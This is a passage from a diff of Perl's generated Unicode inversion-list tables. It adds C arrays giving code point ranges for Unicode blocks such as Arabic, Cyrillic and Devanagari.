+	0x1B002,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F6D3,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F7,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F910,
+	0x1F91F,
+	0x1F920,
+	0x1F928,
+	0x1F930,
+	0x1F931,
+	0x1F933,
+	0x1F93F,
+	0x1F940,
+	0x1F94C,
+	0x1F950,
+	0x1F95F,
+	0x1F980,
+	0x1F992,
+	0x1F9C0,
+	0x1F9C1,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
 };
 
-#endif	/* defined(PERL_IN_REGCOMP_C) */
+static const UV PL_INADLAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1E900,
+	0x1E960
+};
 
-#if defined(PERL_IN_PERL_C)
+static const UV PL_INAHOM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11700,
+	0x11740
+};
 
-static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 037 */
-	1615,	/* Number of elements */
+static const UV PL_INANATOLIANHIEROGLYPHS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
 	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x14400,
+	0x14680
+};
+
+static const UV PL_INARABIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x600,
+	0x700
+};
+
+static const UV PL_INARMENIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x530,
+	0x590
+};
+
+static const UV PL_INAVESTAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B00,
+	0x10B40
+};
+
+static const UV PL_INBALINESE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B00,
+	0x1B80
+};
+
+static const UV PL_INBAMUM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA6A0,
+	0xA700
+};
+
+static const UV PL_INBASSAVAH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16AD0,
+	0x16B00
+};
+
+static const UV PL_INBATAK_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BC0,
+	0x1C00
+};
+
+static const UV PL_INBENGALI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x980,
+	0xA00
+};
+
+static const UV PL_INBHAIKSUKI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11C00,
+	0x11C70
+};
+
+static const UV PL_INBOPOMOFO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3100,
+	0x3130
+};
+
+static const UV PL_INBRAHMI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11000,
+	0x11080
+};
+
+static const UV PL_INBUGINESE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1A00,
+	0x1A20
+};
+
+static const UV PL_INBUHID_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1740,
+	0x1760
+};
+
+static const UV PL_INCARIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x102A0,
+	0x102E0
+};
+
+static const UV PL_INCAUCASIANALBANIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10530,
+	0x10570
+};
+
+static const UV PL_INCHAKMA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11100,
+	0x11150
+};
+
+static const UV PL_INCHAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA00,
+	0xAA60
+};
+
+static const UV PL_INCHEROKEE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x13A0,
+	0x1400
+};
+
+static const UV PL_INCOPTIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C80,
+	0x2D00
+};
+
+static const UV PL_INCUNEIFORM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x12000,
+	0x12400
+};
+
+static const UV PL_INCYRILLIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x400,
+	0x500
+};
+
+static const UV PL_INDEVANAGARI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x900,
+	0x980
+};
+
+static const UV PL_INDICNUMBERFORMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA830,
+	0xA840
+};
+
+static const UV PL_INDUPLOYAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BC00,
+	0x1BCA0
+};
+
+static const UV PL_INEGYPTIANHIEROGLYPHS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x13000,
+	0x13430
+};
+
+static const UV PL_INELBASAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10500,
+	0x10530
+};
+
+static const UV PL_INETHIOPIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1200,
+	0x1380
+};
+
+static const UV PL_INGEORGIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10A0,
+	0x1100
+};
+
+static const UV PL_INGLAGOLITIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C00,
+	0x2C60
+};
+
+static const UV PL_INGOTHIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10330,
+	0x10350
+};
+
+static const UV PL_INGRANTHA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11300,
+	0x11380
+};
+
+static const UV PL_INGREEK_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x370,
+	0x400
+};
+
+static const UV PL_INGUJARATI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA80,
+	0xB00
+};
+
+static const UV PL_INGURMUKHI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA00,
+	0xA80
+};
+
+static const UV PL_INHANGUL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAC00,
+	0xD7B0
+};
+
+static const UV PL_INHANUNOO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1720,
+	0x1740
+};
+
+static const UV PL_INHATRAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x108E0,
+	0x10900
+};
+
+static const UV PL_INHEBREW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x590,
+	0x600
+};
+
+static const UV PL_INHIRAGANA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3040,
+	0x30A0
+};
+
+static const UV PL_INIDC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2FF0,
+	0x3000
+};
+
+static const UV PL_INIMPERIALARAMAIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10840,
+	0x10860
+};
+
+static const UV PL_ININSCRIPTIONALPAHLAVI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B60,
+	0x10B80
+};
+
+static const UV PL_ININSCRIPTIONALPARTHIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B40,
+	0x10B60
+};
+
+static const UV PL_INJAVANESE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA980,
+	0xA9E0
+};
+
+static const UV PL_INKAITHI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11080,
+	0x110D0
+};
+
+static const UV PL_INKANNADA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC80,
+	0xD00
+};
+
+static const UV PL_INKATAKANA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30A0,
+	0x3100
+};
+
+static const UV PL_INKHAROSHTHI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10A00,
+	0x10A60
+};
+
+static const UV PL_INKHMER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1780,
+	0x1800
+};
+
+static const UV PL_INKHOJKI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11200,
+	0x11250
+};
+
+static const UV PL_INKHUDAWADI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x112B0,
+	0x11300
+};
+
+static const UV PL_INLAO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE80,
+	0xF00
+};
+
+static const UV PL_INLEPCHA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1C00,
+	0x1C50
+};
+
+static const UV PL_INLIMBU_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1900,
+	0x1950
+};
+
+static const UV PL_INLINEARA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10600,
+	0x10780
+};
+
+static const UV PL_INLYCIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10280,
+	0x102A0
+};
+
+static const UV PL_INLYDIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10920,
+	0x10940
+};
+
+static const UV PL_INMAHAJANI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11150,
+	0x11180
+};
+
+static const UV PL_INMALAYALAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD00,
+	0xD80
+};
+
+static const UV PL_INMANDAIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x840,
+	0x860
+};
+
+static const UV PL_INMANICHAEAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC0,
+	0x10B00
+};
+
+static const UV PL_INMARCHEN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11C70,
+	0x11CC0
+};
+
+static const UV PL_INMASARAMGONDI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11D00,
+	0x11D60
+};
+
+static const UV PL_INMEETEIMAYEK_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xABC0,
+	0xAC00
+};
+
+static const UV PL_INMENDEKIKAKUI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1E800,
+	0x1E8E0
+};
+
+static const UV PL_INMEROITICCURSIVE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109A0,
+	0x10A00
+};
+
+static const UV PL_INMIAO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16F00,
+	0x16FA0
+};
+
+static const UV PL_INMODI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11600,
+	0x11660
+};
+
+static const UV PL_INMONGOLIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1800,
+	0x18B0
+};
+
+static const UV PL_INMRO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16A40,
+	0x16A70
+};
+
+static const UV PL_INMULTANI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11280,
+	0x112B0
+};
+
+static const UV PL_INMYANMAR_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1000,
+	0x10A0
+};
+
+static const UV PL_INNABATAEAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10880,
+	0x108B0
+};
+
+static const UV PL_INNEWA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11400,
+	0x11480
+};
+
+static const UV PL_INNEWTAILUE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1980,
+	0x19E0
+};
+
+static const UV PL_INNKO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7C0,
+	0x800
+};
+
+static const UV PL_INNUSHU_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B170,
+	0x1B300
+};
+
+static const UV PL_INOGHAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1680,
+	0x16A0
+};
+
+static const UV PL_INOLDHUNGARIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10C80,
+	0x10D00
+};
+
+static const UV PL_INOLDITALIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10300,
+	0x10330
+};
+
+static const UV PL_INOLDPERMIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10350,
+	0x10380
+};
+
+static const UV PL_INOLDPERSIAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x103A0,
+	0x103E0
+};
+
+static const UV PL_INOLDTURKIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10C00,
+	0x10C50
+};
+
+static const UV PL_INORIYA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB00,
+	0xB80
+};
+
+static const UV PL_INOSAGE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x104B0,
+	0x10500
+};
+
+static const UV PL_INOSMANYA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10480,
+	0x104B0
+};
+
+static const UV PL_INPAHAWHHMONG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16B00,
+	0x16B90
+};
+
+static const UV PL_INPAUCINHAU_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11AC0,
+	0x11B00
+};
+
+static const UV PL_INPC__BOTTOM_invlist[] = { /* for all charsets */
+	265,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x93C,
+	0x93D,
+	0x941,
+	0x945,
+	0x94D,
+	0x94E,
+	0x952,
+	0x953,
+	0x956,
+	0x958,
+	0x962,
+	0x964,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
